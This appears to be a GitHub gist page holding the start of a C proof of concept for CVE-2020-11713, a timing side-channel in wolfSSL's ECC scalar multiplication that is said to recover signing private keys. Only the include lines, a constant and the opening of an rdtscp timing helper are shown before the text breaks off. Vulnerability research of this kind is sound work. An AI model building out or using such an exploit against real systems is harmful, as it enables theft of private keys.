Skip to content

Instantly share code, notes, and snippets.

View pietroborrello's full-sized avatar

Pietro Borrello pietroborrello

View GitHub Profile
@pietroborrello
pietroborrello / wolfssl_4.3.0_ecc_mulmod_poc.c
Last active April 15, 2020 02:27
PoC for CVE-2020-11713. Timing side-channel on wc_ecc_mulmod which allows to recover private key used to sign messages.
#include <wolfssl/options.h>
#include <wolfssl/wolfcrypt/settings.h>
#include <wolfssl/wolfcrypt/ecc.h>
#include <wolfssl/wolfcrypt/asn_public.h>
#include <wolfssl/error-ssl.h>
#include <wolfssl/ssl.h>
#define KEY32 32
static uint64_t inline rdtscp(void) {